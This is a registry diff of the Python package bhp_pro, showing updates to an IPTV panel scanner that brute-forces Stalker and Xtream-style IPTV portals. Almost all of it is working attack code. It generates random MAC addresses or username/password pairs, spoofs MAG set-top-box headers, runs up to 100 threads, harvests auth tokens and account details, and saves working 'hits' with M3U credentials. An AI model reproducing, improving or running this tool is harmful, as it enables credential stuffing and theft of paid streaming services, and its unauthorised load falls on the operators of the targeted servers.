bhp-pro 1.1.7__tar.gz → 1.1.9__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {bhp_pro-1.1.7 → bhp_pro-1.1.9}/PKG-INFO +1 -1
- {bhp_pro-1.1.7 → bhp_pro-1.1.9}/bhp_pro.egg-info/PKG-INFO +1 -1
- {bhp_pro-1.1.7 → bhp_pro-1.1.9}/bhp_pro.py +303 -73
- {bhp_pro-1.1.7 → bhp_pro-1.1.9}/setup.py +1 -1
- {bhp_pro-1.1.7 → bhp_pro-1.1.9}/README.md +0 -0
- {bhp_pro-1.1.7 → bhp_pro-1.1.9}/bhp_pro.egg-info/SOURCES.txt +0 -0
- {bhp_pro-1.1.7 → bhp_pro-1.1.9}/bhp_pro.egg-info/dependency_links.txt +0 -0
- {bhp_pro-1.1.7 → bhp_pro-1.1.9}/bhp_pro.egg-info/entry_points.txt +0 -0
- {bhp_pro-1.1.7 → bhp_pro-1.1.9}/bhp_pro.egg-info/top_level.txt +0 -0
- {bhp_pro-1.1.7 → bhp_pro-1.1.9}/setup.cfg +0 -0
|
@@ -14006,7 +14006,6 @@ def Android_App_Security_Analyzer():
|
|
|
14006
14006
|
|
|
14007
14007
|
#================== IPTV SCANNER ===================#
|
|
14008
14008
|
def iptvscan():
|
|
14009
|
-
|
|
14010
14009
|
import requests
|
|
14011
14010
|
import random
|
|
14012
14011
|
import time
|
|
@@ -14016,13 +14015,14 @@ def iptvscan():
|
|
|
14016
14015
|
import sys
|
|
14017
14016
|
import hashlib
|
|
14018
14017
|
import json
|
|
14018
|
+
import socket
|
|
14019
14019
|
from datetime import datetime
|
|
14020
|
-
from urllib.parse import quote
|
|
14020
|
+
from urllib.parse import quote, urlparse
|
|
14021
14021
|
|
|
14022
14022
|
# Disable SSL warnings
|
|
14023
14023
|
import urllib3
|
|
14024
14024
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
14025
|
-
|
|
14025
|
+
generate_ascii_banner("iptv", "scanner")
|
|
14026
14026
|
class IPTVScanner:
|
|
14027
14027
|
def __init__(self):
|
|
14028
14028
|
self.session = requests.Session()
|
|
@@ -14036,9 +14036,113 @@ def iptvscan():
|
|
|
14036
14036
|
self.panel_queue = []
|
|
14037
14037
|
self.panel_threads = []
|
|
14038
14038
|
self.panel_lock = threading.Lock()
|
|
14039
|
-
self.max_panel_threads =
|
|
14040
|
-
self.scanned_lock = threading.Lock()
|
|
14041
|
-
self.current_panel = "None"
|
|
14039
|
+
self.max_panel_threads = 20
|
|
14040
|
+
self.scanned_lock = threading.Lock()
|
|
14041
|
+
self.current_panel = "None"
|
|
14042
|
+
self.valid_panels = []
|
|
14043
|
+
|
|
14044
|
+
def is_server_reachable(self, hostname, port, timeout=3):
|
|
14045
|
+
"""Check if a server is reachable using socket connection"""
|
|
14046
|
+
try:
|
|
14047
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
14048
|
+
s.settimeout(timeout)
|
|
14049
|
+
result = s.connect_ex((hostname, port))
|
|
14050
|
+
s.close()
|
|
14051
|
+
return result == 0
|
|
14052
|
+
except:
|
|
14053
|
+
return False
|
|
14054
|
+
|
|
14055
|
+
# ---------------- URL Validation Function ---------------- #
|
|
14056
|
+
def validate_url(self, url, timeout=3):
|
|
14057
|
+
"""
|
|
14058
|
+
Validate a URL by checking its HTTP status code with better headers and user agents
|
|
14059
|
+
Returns: (is_valid, status_code, final_url)
|
|
14060
|
+
"""
|
|
14061
|
+
try:
|
|
14062
|
+
if not url.startswith('http'):
|
|
14063
|
+
url = 'http://' + url
|
|
14064
|
+
|
|
14065
|
+
# Use more realistic headers to avoid being blocked
|
|
14066
|
+
headers = {
|
|
14067
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
|
|
14068
|
+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
|
|
14069
|
+
'Accept-Language': 'en-US,en;q=0.5',
|
|
14070
|
+
'Connection': 'keep-alive',
|
|
14071
|
+
'Upgrade-Insecure-Requests': '1',
|
|
14072
|
+
}
|
|
14073
|
+
|
|
14074
|
+
# Try GET request with proper headers
|
|
14075
|
+
response = self.session.get(url, headers=headers, timeout=timeout, allow_redirects=True, stream=True)
|
|
14076
|
+
status_code = response.status_code
|
|
14077
|
+
|
|
14078
|
+
# Consider 200-499 as valid (some panels return 403 but are actually working)
|
|
14079
|
+
if 200 <= status_code < 500:
|
|
14080
|
+
return True, status_code, response.url
|
|
14081
|
+
else:
|
|
14082
|
+
return False, status_code, response.url
|
|
14083
|
+
|
|
14084
|
+
except requests.exceptions.RequestException as e:
|
|
14085
|
+
# Try one more time with a different approach - just check if domain is reachable
|
|
14086
|
+
try:
|
|
14087
|
+
# Extract just the domain:port
|
|
14088
|
+
parsed = urlparse(url if url.startswith('http') else 'http://' + url)
|
|
14089
|
+
domain_port = f"{parsed.hostname}:{parsed.port}" if parsed.port else parsed.hostname
|
|
14090
|
+
|
|
14091
|
+
# Try connecting to the port directly
|
|
14092
|
+
port_num = parsed.port if parsed.port else 80
|
|
14093
|
+
if self.is_server_reachable(parsed.hostname, port_num, timeout):
|
|
14094
|
+
return True, "PortOpen", url
|
|
14095
|
+
except:
|
|
14096
|
+
pass
|
|
14097
|
+
|
|
14098
|
+
return False, "Error", url
|
|
14099
|
+
except Exception as e:
|
|
14100
|
+
return False, "Exception", url
|
|
14101
|
+
|
|
14102
|
+
# ---------------- Validate All URLs ---------------- #
|
|
14103
|
+
def validate_all_urls(self, urls):
|
|
14104
|
+
"""
|
|
14105
|
+
Validate all URLs and show statistics
|
|
14106
|
+
Returns: List of valid URLs
|
|
14107
|
+
"""
|
|
14108
|
+
print("\n\033[96mValidating URLs...\033[0m")
|
|
14109
|
+
valid_urls = []
|
|
14110
|
+
invalid_urls = []
|
|
14111
|
+
|
|
14112
|
+
for i, url in enumerate(urls, 1):
|
|
14113
|
+
is_valid, status_code, final_url = self.validate_url(url)
|
|
14114
|
+
|
|
14115
|
+
if is_valid:
|
|
14116
|
+
status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
|
|
14117
|
+
print(f"\033[92m[{i}] VALID: {url} → {status_display}\033[0m")
|
|
14118
|
+
valid_urls.append(url)
|
|
14119
|
+
else:
|
|
14120
|
+
status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
|
|
14121
|
+
print(f"\033[91m[{i}] INVALID: {url} → {status_display}\033[0m")
|
|
14122
|
+
invalid_urls.append((url, status_code))
|
|
14123
|
+
|
|
14124
|
+
# Show statistics
|
|
14125
|
+
print(f"\n\033[95mValidation Results:\033[0m")
|
|
14126
|
+
print(f"\033[92mValid URLs: {len(valid_urls)}\033[0m")
|
|
14127
|
+
print(f"\033[91mInvalid URLs: {len(invalid_urls)}\033[0m")
|
|
14128
|
+
|
|
14129
|
+
if invalid_urls:
|
|
14130
|
+
print("\n\033[93mInvalid URLs (will be skipped):\033[0m")
|
|
14131
|
+
for url, status in invalid_urls:
|
|
14132
|
+
status_display = f"Status: {status}" if isinstance(status, int) else f"Status: {status}"
|
|
14133
|
+
print(f" {url} → {status_display}")
|
|
14134
|
+
|
|
14135
|
+
# Ask if user wants to include some invalid URLs that might still work
|
|
14136
|
+
include_invalid = "n"
|
|
14137
|
+
if include_invalid == "y":
|
|
14138
|
+
for url, status in invalid_urls:
|
|
14139
|
+
if status == 403 or status == "PortOpen": # 403 might still work, port is open
|
|
14140
|
+
include = "y"
|
|
14141
|
+
if include == "y":
|
|
14142
|
+
valid_urls.append(url)
|
|
14143
|
+
print(f"\033[93mAdded {url} to scan list\033[0m")
|
|
14144
|
+
|
|
14145
|
+
return valid_urls
|
|
14042
14146
|
|
|
14043
14147
|
# ---------------- MAC / Serial / Device functions ---------------- #
|
|
14044
14148
|
def validate_mac(self, mac):
|
|
@@ -14085,20 +14189,37 @@ def iptvscan():
|
|
|
14085
14189
|
return choice, None, 'upper', mac_count
|
|
14086
14190
|
|
|
14087
14191
|
# ---------------- Panel testing functions ---------------- #
|
|
14088
|
-
def test_panel(self, panel_url, mac, timeout=
|
|
14192
|
+
def test_panel(self, panel_url, mac, timeout=3):
|
|
14089
14193
|
try:
|
|
14090
|
-
original_panel = panel_url
|
|
14194
|
+
original_panel = panel_url
|
|
14091
14195
|
if not panel_url.startswith('http'):
|
|
14092
14196
|
panel_url = 'http://' + panel_url
|
|
14093
|
-
|
|
14197
|
+
|
|
14198
|
+
# Extract server and port
|
|
14199
|
+
parsed = urlparse(panel_url)
|
|
14200
|
+
server = parsed.hostname
|
|
14201
|
+
port = parsed.port if parsed.port else 80
|
|
14202
|
+
|
|
14203
|
+
# First check if server is reachable
|
|
14204
|
+
if not self.is_server_reachable(server, port, timeout=3):
|
|
14205
|
+
return {'success': False, 'error': 'Server not reachable'}
|
|
14206
|
+
|
|
14094
14207
|
tkk = self.generate_random_string(32)
|
|
14095
14208
|
|
|
14209
|
+
# Try different endpoint patterns
|
|
14096
14210
|
endpoints = [
|
|
14097
14211
|
f"http://{server}/server/load.php",
|
|
14098
14212
|
f"http://{server}/portal.php",
|
|
14099
|
-
f"http://{server}/c/portal.php"
|
|
14213
|
+
f"http://{server}/c/portal.php",
|
|
14214
|
+
f"http://{server}/panel/portal.php",
|
|
14215
|
+
f"http://{server}/stalker_portal/server/load.php",
|
|
14216
|
+
f"http://{server}/stalker_portal/c/portal.php"
|
|
14100
14217
|
]
|
|
14101
14218
|
|
|
14219
|
+
# Add the original URL as a potential endpoint
|
|
14220
|
+
if panel_url not in endpoints:
|
|
14221
|
+
endpoints.insert(0, panel_url)
|
|
14222
|
+
|
|
14102
14223
|
headers = {
|
|
14103
14224
|
'User-Agent': 'Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 4 rev: 1812 Mobile Safari/533.3',
|
|
14104
14225
|
'X-User-Agent': 'Model: MAG250; Link: WiFi',
|
|
@@ -14112,16 +14233,37 @@ def iptvscan():
|
|
|
14112
14233
|
|
|
14113
14234
|
auth_token = None
|
|
14114
14235
|
working_endpoint = None
|
|
14236
|
+
|
|
14115
14237
|
for endpoint in endpoints:
|
|
14116
14238
|
try:
|
|
14117
|
-
|
|
14118
|
-
|
|
14119
|
-
|
|
14120
|
-
|
|
14121
|
-
|
|
14122
|
-
|
|
14123
|
-
|
|
14124
|
-
|
|
14239
|
+
# Try different parameter formats
|
|
14240
|
+
handshake_urls = [
|
|
14241
|
+
f"{endpoint}?type=stb&action=handshake&token={tkk}&JsHttpRequest=1-xml",
|
|
14242
|
+
f"{endpoint}?type=stb&action=handshake&JsHttpRequest=1-xml",
|
|
14243
|
+
f"{endpoint}?action=handshake&type=stb&token={tkk}"
|
|
14244
|
+
]
|
|
14245
|
+
|
|
14246
|
+
for handshake_url in handshake_urls:
|
|
14247
|
+
try:
|
|
14248
|
+
response = self.session.get(handshake_url, headers=headers, timeout=timeout)
|
|
14249
|
+
if response.status_code == 200 and ('"token":"' in response.text or 'token' in response.text):
|
|
14250
|
+
# Try different patterns to extract token
|
|
14251
|
+
token_match = re.search(r'"token":"([^"]+)"', response.text)
|
|
14252
|
+
if not token_match:
|
|
14253
|
+
token_match = re.search(r'"token":\s*"([^"]+)"', response.text)
|
|
14254
|
+
if not token_match:
|
|
14255
|
+
token_match = re.search(r'token["\']?\s*[:=]\s*["\']([^"\']+)', response.text)
|
|
14256
|
+
|
|
14257
|
+
if token_match:
|
|
14258
|
+
auth_token = token_match.group(1)
|
|
14259
|
+
working_endpoint = endpoint
|
|
14260
|
+
break
|
|
14261
|
+
except:
|
|
14262
|
+
continue
|
|
14263
|
+
|
|
14264
|
+
if auth_token:
|
|
14265
|
+
break
|
|
14266
|
+
|
|
14125
14267
|
except:
|
|
14126
14268
|
continue
|
|
14127
14269
|
|
|
@@ -14130,23 +14272,73 @@ def iptvscan():
|
|
|
14130
14272
|
|
|
14131
14273
|
headers['Authorization'] = f'Bearer {auth_token}'
|
|
14132
14274
|
|
|
14133
|
-
|
|
14134
|
-
|
|
14135
|
-
|
|
14275
|
+
# Try different profile URL patterns
|
|
14276
|
+
profile_urls = [
|
|
14277
|
+
f"{working_endpoint}?type=stb&action=get_profile&JsHttpRequest=1-xml",
|
|
14278
|
+
f"{working_endpoint}?action=get_profile&type=stb&JsHttpRequest=1-xml"
|
|
14279
|
+
]
|
|
14280
|
+
|
|
14281
|
+
profile_response = None
|
|
14282
|
+
for profile_url in profile_urls:
|
|
14283
|
+
try:
|
|
14284
|
+
profile_response = self.session.get(profile_url, headers=headers, timeout=timeout)
|
|
14285
|
+
if profile_response.status_code == 200:
|
|
14286
|
+
break
|
|
14287
|
+
except:
|
|
14288
|
+
continue
|
|
14289
|
+
|
|
14290
|
+
if not profile_response or profile_response.status_code != 200:
|
|
14136
14291
|
return {'success': False, 'error': 'Profile request failed'}
|
|
14137
14292
|
|
|
14138
|
-
|
|
14139
|
-
|
|
14140
|
-
|
|
14293
|
+
# Try different account info URL patterns
|
|
14294
|
+
account_urls = [
|
|
14295
|
+
f"{working_endpoint}?type=account_info&action=get_main_info&JsHttpRequest=1-xml",
|
|
14296
|
+
f"{working_endpoint}?action=get_main_info&type=account_info&JsHttpRequest=1-xml"
|
|
14297
|
+
]
|
|
14298
|
+
|
|
14299
|
+
account_response = None
|
|
14300
|
+
for account_url in account_urls:
|
|
14301
|
+
try:
|
|
14302
|
+
account_response = self.session.get(account_url, headers=headers, timeout=timeout)
|
|
14303
|
+
if account_response.status_code == 200:
|
|
14304
|
+
break
|
|
14305
|
+
except:
|
|
14306
|
+
continue
|
|
14307
|
+
|
|
14308
|
+
if not account_response or account_response.status_code != 200:
|
|
14141
14309
|
return {'success': False, 'error': 'Account info request failed'}
|
|
14142
14310
|
|
|
14143
14311
|
account_text = account_response.text
|
|
14144
14312
|
exp_match = re.search(r'"phone":"([^"]+)"', account_text) or re.search(r'"end_date":"([^"]+)"', account_text)
|
|
14145
14313
|
exp_date = exp_match.group(1) if exp_match else "Unknown"
|
|
14146
14314
|
|
|
14147
|
-
|
|
14148
|
-
|
|
14149
|
-
|
|
14315
|
+
# Try different channels URL patterns
|
|
14316
|
+
channels_urls = [
|
|
14317
|
+
f"{working_endpoint}?type=itv&action=get_all_channels&JsHttpRequest=1-xml",
|
|
14318
|
+
f"{working_endpoint}?action=get_all_channels&type=itv&JsHttpRequest=1-xml"
|
|
14319
|
+
]
|
|
14320
|
+
|
|
14321
|
+
channels_response = None
|
|
14322
|
+
for channels_url in channels_urls:
|
|
14323
|
+
try:
|
|
14324
|
+
channels_response = self.session.get(channels_url, headers=headers, timeout=timeout)
|
|
14325
|
+
if channels_response.status_code == 200:
|
|
14326
|
+
break
|
|
14327
|
+
except:
|
|
14328
|
+
continue
|
|
14329
|
+
|
|
14330
|
+
channel_count = 0
|
|
14331
|
+
if channels_response and channels_response.status_code == 200:
|
|
14332
|
+
# Try different patterns to count channels
|
|
14333
|
+
channel_count = len(re.findall(r'"ch_id":"', channels_response.text))
|
|
14334
|
+
if channel_count == 0:
|
|
14335
|
+
channel_count = len(re.findall(r'"id":', channels_response.text))
|
|
14336
|
+
if channel_count == 0:
|
|
14337
|
+
channel_count = len(re.findall(r'"name":', channels_response.text))
|
|
14338
|
+
|
|
14339
|
+
# Check if channels are 0 - if so, don't consider it a hit
|
|
14340
|
+
if channel_count == 0:
|
|
14341
|
+
return {'success': False, 'error': 'No channels found'}
|
|
14150
14342
|
|
|
14151
14343
|
link_url = f"{working_endpoint}?type=itv&action=create_link&forced_storage=undefined&download=0&cmd=ffmpeg%20http%3A%2F%2Flocalhost%2Fch%2F181212_&JsHttpRequest=1-xml"
|
|
14152
14344
|
link_response = self.session.get(link_url, headers=headers, timeout=timeout)
|
|
@@ -14165,7 +14357,7 @@ def iptvscan():
|
|
|
14165
14357
|
|
|
14166
14358
|
m3u_url = f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus"
|
|
14167
14359
|
try:
|
|
14168
|
-
m3u_response = self.session.get(m3u_url, headers=headers, timeout=
|
|
14360
|
+
m3u_response = self.session.get(m3u_url, headers=headers, timeout=3)
|
|
14169
14361
|
m3u_status = "Working" if m3u_response.status_code == 200 else "Not Working"
|
|
14170
14362
|
except:
|
|
14171
14363
|
m3u_status = "Error"
|
|
@@ -14190,7 +14382,7 @@ def iptvscan():
|
|
|
14190
14382
|
'success': True,
|
|
14191
14383
|
'mac': mac,
|
|
14192
14384
|
'panel': server,
|
|
14193
|
-
'original_panel': original_panel,
|
|
14385
|
+
'original_panel': original_panel,
|
|
14194
14386
|
'endpoint': working_endpoint,
|
|
14195
14387
|
'exp_date': exp_date,
|
|
14196
14388
|
'channels': channel_count,
|
|
@@ -14208,42 +14400,66 @@ def iptvscan():
|
|
|
14208
14400
|
except Exception as e:
|
|
14209
14401
|
return {'success': False, 'error': str(e)}
|
|
14210
14402
|
|
|
14211
|
-
def test_m3u_credentials(self, panel_url, username, password, timeout=
|
|
14403
|
+
def test_m3u_credentials(self, panel_url, username, password, timeout=3):
|
|
14212
14404
|
try:
|
|
14213
|
-
original_panel = panel_url
|
|
14405
|
+
original_panel = panel_url
|
|
14214
14406
|
if not panel_url.startswith('http'):
|
|
14215
14407
|
panel_url = 'http://' + panel_url
|
|
14216
14408
|
server = panel_url.replace('http://', '').replace('https://', '').split('/')[0]
|
|
14217
14409
|
|
|
14218
14410
|
headers = {
|
|
14219
|
-
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
|
|
14411
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
|
|
14220
14412
|
'Accept': '*/*',
|
|
14221
14413
|
'Connection': 'close',
|
|
14222
14414
|
'Host': server
|
|
14223
14415
|
}
|
|
14224
14416
|
|
|
14225
|
-
|
|
14226
|
-
|
|
14227
|
-
|
|
14228
|
-
|
|
14417
|
+
# Try different M3U URL patterns
|
|
14418
|
+
m3u_urls = [
|
|
14419
|
+
f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus",
|
|
14420
|
+
f"http://{server}/get.php?username={username}&password={password}&type=m3u",
|
|
14421
|
+
f"http://{server}/panel_api.php?username={username}&password={password}&action=get_live_streams",
|
|
14422
|
+
f"http://{server}/player_api.php?username={username}&password={password}&action=get_live_streams"
|
|
14423
|
+
]
|
|
14424
|
+
|
|
14425
|
+
ok = False
|
|
14426
|
+
m3u_url = m3u_urls[0]
|
|
14427
|
+
body = ''
|
|
14428
|
+
status_code = 0
|
|
14429
|
+
|
|
14430
|
+
for test_url in m3u_urls:
|
|
14431
|
+
try:
|
|
14432
|
+
resp = self.session.get(test_url, headers=headers, timeout=timeout)
|
|
14433
|
+
status_code = resp.status_code
|
|
14434
|
+
body = resp.text if resp else ''
|
|
14435
|
+
|
|
14436
|
+
# Check for various success indicators
|
|
14437
|
+
if (resp.status_code == 200 and
|
|
14438
|
+
('#EXTM3U' in body or 'http://' in body or '.m3u8' in body or
|
|
14439
|
+
len(body) > 100 or 'channel' in body.lower() or 'stream' in body.lower())):
|
|
14440
|
+
ok = True
|
|
14441
|
+
m3u_url = test_url
|
|
14442
|
+
break
|
|
14443
|
+
except:
|
|
14444
|
+
continue
|
|
14229
14445
|
|
|
14230
14446
|
# Test EPG URL
|
|
14231
14447
|
epg_url = f"http://{server}/xmltv.php?username={username}&password={password}"
|
|
14232
14448
|
try:
|
|
14233
|
-
epg_resp = self.session.get(epg_url, headers=headers, timeout=
|
|
14449
|
+
epg_resp = self.session.get(epg_url, headers=headers, timeout=3)
|
|
14234
14450
|
epg_status = "Working" if epg_resp.status_code == 200 and 'xml' in epg_resp.text.lower() else "Not Working"
|
|
14235
14451
|
except:
|
|
14236
14452
|
epg_status = "Error"
|
|
14237
14453
|
|
|
14238
14454
|
return {
|
|
14239
14455
|
'success': ok,
|
|
14240
|
-
'status_code':
|
|
14456
|
+
'status_code': status_code,
|
|
14241
14457
|
'm3u_url': m3u_url,
|
|
14242
14458
|
'epg_url': epg_url,
|
|
14243
14459
|
'epg_status': epg_status,
|
|
14244
14460
|
'username': username,
|
|
14245
14461
|
'password': password,
|
|
14246
|
-
'original_panel': original_panel,
|
|
14462
|
+
'original_panel': original_panel,
|
|
14247
14463
|
'body_snippet': body[:200] if body else ''
|
|
14248
14464
|
}
|
|
14249
14465
|
|
|
@@ -14268,7 +14484,7 @@ def iptvscan():
|
|
|
14268
14484
|
f.write(f"Mode: {mode}\n")
|
|
14269
14485
|
if mode == 'mac':
|
|
14270
14486
|
f.write(f"MAC: {result.get('mac')}\n")
|
|
14271
|
-
f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n")
|
|
14487
|
+
f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n")
|
|
14272
14488
|
if 'endpoint' in result:
|
|
14273
14489
|
f.write(f"Endpoint: {result.get('endpoint')}\n")
|
|
14274
14490
|
if 'exp_date' in result:
|
|
@@ -14309,19 +14525,16 @@ def iptvscan():
|
|
|
14309
14525
|
def worker(self, panel_url, mode='mac', mac_case='upper', prefix_index=0, creds_min=5, creds_max=15, mac_count=0):
|
|
14310
14526
|
self.active_threads += 1
|
|
14311
14527
|
try:
|
|
14312
|
-
# Set the current panel for display
|
|
14313
14528
|
self.current_panel = panel_url
|
|
14314
14529
|
|
|
14315
14530
|
while self.running:
|
|
14316
|
-
# Check global count first
|
|
14317
14531
|
if mac_count > 0 and self.scanned_count >= mac_count:
|
|
14318
14532
|
break
|
|
14319
14533
|
|
|
14320
14534
|
if mode == 'mac':
|
|
14321
14535
|
mac = self.generate_mac(prefix_index, mac_case)
|
|
14322
|
-
result = self.test_panel(panel_url, mac, timeout=
|
|
14536
|
+
result = self.test_panel(panel_url, mac, timeout=3)
|
|
14323
14537
|
|
|
14324
|
-
# Thread-safe counter update
|
|
14325
14538
|
with self.scanned_lock:
|
|
14326
14539
|
self.scanned_count += 1
|
|
14327
14540
|
current_count = self.scanned_count
|
|
@@ -14331,8 +14544,9 @@ def iptvscan():
|
|
|
14331
14544
|
print(f" Exp: {result.get('exp_date')} | Channels: {result.get('channels')} | M3U: {result.get('m3u_status')}")
|
|
14332
14545
|
self.save_hit(result, mode='mac')
|
|
14333
14546
|
|
|
14547
|
+
# Update status display
|
|
14548
|
+
sys.stdout.write(f"\rScanned: {self.scanned_count} | Mac: {mac} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
|
|
14334
14549
|
else:
|
|
14335
|
-
# Credentials mode
|
|
14336
14550
|
if mac_count > 0 and self.scanned_count >= mac_count:
|
|
14337
14551
|
break
|
|
14338
14552
|
|
|
@@ -14351,28 +14565,24 @@ def iptvscan():
|
|
|
14351
14565
|
print(f" M3U URL: {result.get('m3u_url')}")
|
|
14352
14566
|
self.save_hit(result, mode='creds')
|
|
14353
14567
|
|
|
14354
|
-
|
|
14355
|
-
|
|
14356
|
-
|
|
14357
|
-
sys.stdout.flush()
|
|
14358
|
-
|
|
14359
|
-
# Check if we've reached the limit
|
|
14568
|
+
# Update status display
|
|
14569
|
+
sys.stdout.write(f"\rScanned: {self.scanned_count} | Creds: {username}:{password} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
|
|
14570
|
+
|
|
14360
14571
|
if mac_count > 0 and self.scanned_count >= mac_count:
|
|
14361
14572
|
break
|
|
14362
14573
|
|
|
14363
14574
|
time.sleep(0.1)
|
|
14364
14575
|
finally:
|
|
14365
14576
|
self.active_threads -= 1
|
|
14366
|
-
self.current_panel = "None"
|
|
14577
|
+
self.current_panel = "None"
|
|
14367
14578
|
|
|
14368
14579
|
# ---------------- Panel thread runner ---------------- #
|
|
14369
14580
|
def panel_runner(self, panel_url, mode, mac_case, prefix_index, creds_min, creds_max, mac_count):
|
|
14370
|
-
# Adjust thread count based on requested MAC count
|
|
14371
14581
|
if mac_count > 0:
|
|
14372
|
-
thread_count = min(
|
|
14582
|
+
thread_count = min(20, max(1, mac_count // 10))
|
|
14373
14583
|
else:
|
|
14374
|
-
thread_count =
|
|
14375
|
-
|
|
14584
|
+
thread_count = 100
|
|
14585
|
+
|
|
14376
14586
|
threads = []
|
|
14377
14587
|
for _ in range(thread_count):
|
|
14378
14588
|
t = threading.Thread(target=self.worker, args=(panel_url, mode, mac_case, prefix_index, creds_min, creds_max, mac_count))
|
|
@@ -14381,8 +14591,8 @@ def iptvscan():
|
|
|
14381
14591
|
threads.append(t)
|
|
14382
14592
|
|
|
14383
14593
|
try:
|
|
14384
|
-
|
|
14385
|
-
|
|
14594
|
+
for t in threads:
|
|
14595
|
+
t.join()
|
|
14386
14596
|
except KeyboardInterrupt:
|
|
14387
14597
|
self.running = False
|
|
14388
14598
|
for t in threads:
|
|
@@ -14390,7 +14600,6 @@ def iptvscan():
|
|
|
14390
14600
|
|
|
14391
14601
|
# ---------------- Main scanner function ---------------- #
|
|
14392
14602
|
def run_scanner(self):
|
|
14393
|
-
"""Main scanner function that handles the scanning process"""
|
|
14394
14603
|
print("\033[95m" + "="*60)
|
|
14395
14604
|
print(" IPTV PANEL SCANNER")
|
|
14396
14605
|
print("="*60 + "\033[0m")
|
|
@@ -14413,12 +14622,34 @@ def iptvscan():
|
|
|
14413
14622
|
panels = [user_input]
|
|
14414
14623
|
print(f"Testing single panel: {user_input}")
|
|
14415
14624
|
|
|
14625
|
+
# Validate all URLs before proceeding
|
|
14626
|
+
valid_panels = self.validate_all_urls(panels)
|
|
14627
|
+
|
|
14628
|
+
if not valid_panels:
|
|
14629
|
+
print("\n\033[91mNo valid URLs to scan. Exiting.\033[0m")
|
|
14630
|
+
return
|
|
14631
|
+
|
|
14632
|
+
continue_scan = "y"
|
|
14633
|
+
if continue_scan != "y":
|
|
14634
|
+
print("Scan cancelled.")
|
|
14635
|
+
return
|
|
14636
|
+
|
|
14416
14637
|
mode = input("Mode (mac/creds) [mac]: ").strip().lower() or 'mac'
|
|
14417
14638
|
|
|
14418
14639
|
# MAC choice / count
|
|
14419
14640
|
mac_choice, specific_mac, mac_case, mac_count = ('auto', None, 'upper', 0)
|
|
14641
|
+
creds_count = 0 # Add this variable for credentials count
|
|
14642
|
+
|
|
14420
14643
|
if mode == 'mac':
|
|
14421
14644
|
mac_choice, specific_mac, mac_case, mac_count = self.choose_mac_mode()
|
|
14645
|
+
else:
|
|
14646
|
+
# Add prompt for number of credentials to generate
|
|
14647
|
+
creds_count_input = input("Enter how many credentials to generate/test: ").strip() or "100"
|
|
14648
|
+
try:
|
|
14649
|
+
creds_count = int(creds_count_input)
|
|
14650
|
+
except ValueError:
|
|
14651
|
+
print(f"Invalid number '{creds_count_input}', using default 100")
|
|
14652
|
+
creds_count = 100
|
|
14422
14653
|
|
|
14423
14654
|
creds_min = 5
|
|
14424
14655
|
creds_max = 15
|
|
@@ -14430,11 +14661,11 @@ def iptvscan():
|
|
|
14430
14661
|
print("Invalid input, using defaults (5-15)")
|
|
14431
14662
|
creds_min, creds_max = 5, 15
|
|
14432
14663
|
|
|
14433
|
-
print(f"\nStarting scan with {len(
|
|
14664
|
+
print(f"\nStarting scan with {len(valid_panels)} valid panel(s)...")
|
|
14434
14665
|
print("Press Ctrl+C to stop\n")
|
|
14435
14666
|
|
|
14436
|
-
# Process all panels
|
|
14437
|
-
for panel in
|
|
14667
|
+
# Process all valid panels
|
|
14668
|
+
for panel in valid_panels:
|
|
14438
14669
|
if not self.running:
|
|
14439
14670
|
break
|
|
14440
14671
|
|
|
@@ -14444,27 +14675,26 @@ def iptvscan():
|
|
|
14444
14675
|
self.scanned_count = 0
|
|
14445
14676
|
self.found_hits = 0
|
|
14446
14677
|
|
|
14447
|
-
# Run the panel scanner
|
|
14448
|
-
|
|
14678
|
+
# Run the panel scanner - pass creds_count for creds mode
|
|
14679
|
+
if mode == 'mac':
|
|
14680
|
+
self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, mac_count)
|
|
14681
|
+
else:
|
|
14682
|
+
self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, creds_count)
|
|
14449
14683
|
|
|
14450
14684
|
# Display results for this panel
|
|
14451
14685
|
print(f"\nPanel {panel} completed: Scanned {self.scanned_count}, Hits {self.found_hits}")
|
|
14452
14686
|
|
|
14453
14687
|
print(f"\nAll panels processed! Total hits found: {self.found_hits}")
|
|
14454
14688
|
|
|
14455
|
-
def
|
|
14456
|
-
"""Main function that handles the application flow"""
|
|
14689
|
+
def main():
|
|
14457
14690
|
try:
|
|
14458
|
-
# Create scanner instance
|
|
14459
14691
|
scanner = IPTVScanner()
|
|
14460
|
-
|
|
14461
|
-
# Run the scanner
|
|
14462
14692
|
scanner.run_scanner()
|
|
14463
14693
|
|
|
14464
14694
|
except KeyboardInterrupt:
|
|
14465
14695
|
print("\n\nScan interrupted by user. Exiting gracefully...")
|
|
14466
14696
|
scanner.running = False
|
|
14467
|
-
time.sleep(1)
|
|
14697
|
+
time.sleep(1)
|
|
14468
14698
|
|
|
14469
14699
|
except Exception as e:
|
|
14470
14700
|
print(f"\nAn unexpected error occurred: {e}")
|
|
@@ -14474,8 +14704,8 @@ def iptvscan():
|
|
|
14474
14704
|
print("\nThank you for using IPTV Panel Scanner!")
|
|
14475
14705
|
print("Results are saved in the 'hits' folder.")
